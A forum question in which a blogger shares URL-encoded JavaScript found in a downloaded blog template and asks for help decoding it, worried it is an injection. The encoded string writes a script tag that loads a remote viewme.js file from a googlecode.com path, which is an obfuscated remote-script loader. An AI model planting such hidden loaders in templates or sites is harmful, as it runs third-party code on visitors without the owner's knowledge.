title: decode JavaScript code ?
body: <p>I found this code in the blog template,Already used it. I am afraid to be harmful blog,Or be an injection ..I'm trying to decode it but failed , so please help ? because i want to be sure what is it , </p>
  
  <pre>
  document.write( unescape( &#39;%3C%73%63%72%69%70%74%20%73%72%63%3D%27%68%74%74%70%73%3A%2F%2F%61%72%6C%69%6E%61%2D%64%65%73%69%67%6E%2E%67%6F%6F%67%6C%65%63%6F%64%65%2E%63%6F%6D%2F%73%76%6E%2F%76%69%65%77%6D%65%2E%6A%73%27%20%74%79%70%65%3D%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%2F%3E&#39;
  ))
  </pre>